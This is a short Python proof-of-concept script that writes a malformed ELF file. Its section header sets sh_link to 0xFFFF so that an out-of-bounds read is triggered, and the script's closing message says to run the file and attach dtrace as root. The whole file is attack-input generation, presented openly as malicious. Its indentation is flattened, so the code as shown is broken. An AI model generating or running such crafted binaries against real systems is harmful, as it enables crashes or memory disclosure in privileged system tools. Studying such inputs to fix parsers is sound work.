import struct
# Create a minimal malicious ELF to trigger the sh_link out-of-bounds read
# This is a conceptual PoC generator.
def create_malicious_elf(filename):
# ELF Header (64-bit)
e_ident = b'\x7fELF\x02\x01\x01\x00' + b'\x00'*9
e_type = struct.pack('<H', 2) # ET_EXEC
e_machine = struct.pack('<H', 62) # x86-64
e_version = struct.pack('<I', 1)
e_entry = struct.pack('<Q', 0x400000)
e_phoff = struct.pack('<Q', 64)
e_shoff = struct.pack('<Q', 64) # Section header offset
e_flags = struct.pack('<I', 0)
e_ehsize = struct.pack('<H', 64)
e_phentsize = struct.pack('<H', 56)
e_phnum = struct.pack('<H', 0)
e_shentsize = struct.pack('<H', 64)
e_shnum = struct.pack('<H', 1) # Only 1 section header
e_shstrndx = struct.pack('<H', 0)
elf_header = e_ident + e_type + e_machine + e_version + e_entry + e_phoff + \
e_shoff + e_flags + e_ehsize + e_phentsize + e_phnum + \
e_shentsize + e_shnum + e_shstrndx
# Section Header (corrupt sh_link)
# sh_link is set to a large value (e.g., 0xFFFF) to cause out-of-bounds read
sh_name = struct.pack('<I', 0)
sh_type = struct.pack('<I', 1) # SHT_PROGBITS
sh_flags = struct.pack('<Q', 0)
sh_addr = struct.pack('<Q', 0)
sh_offset = struct.pack('<Q', 0)
sh_size = struct.pack('<Q', 0)
sh_link = struct.pack('<I', 0xFFFF) # MALICIOUS: Out of range index
sh_info = struct.pack('<I', 0)
sh_addralign = struct.pack('<Q', 0)
sh_entsize = struct.pack('<Q', 0)
section_header = sh_name + sh_type + sh_flags + sh_addr + sh_offset + \
sh_size + sh_link + sh_info + sh_addralign + sh_entsize
with open(filename, 'wb') as f:
f.write(elf_header)
f.write(section_header)
print(f"Malicious ELF '{filename}' created. Run it and attach dtrace as root to trigger.")
if __name__ == "__main__":
create_malicious_elf("malicious_elf")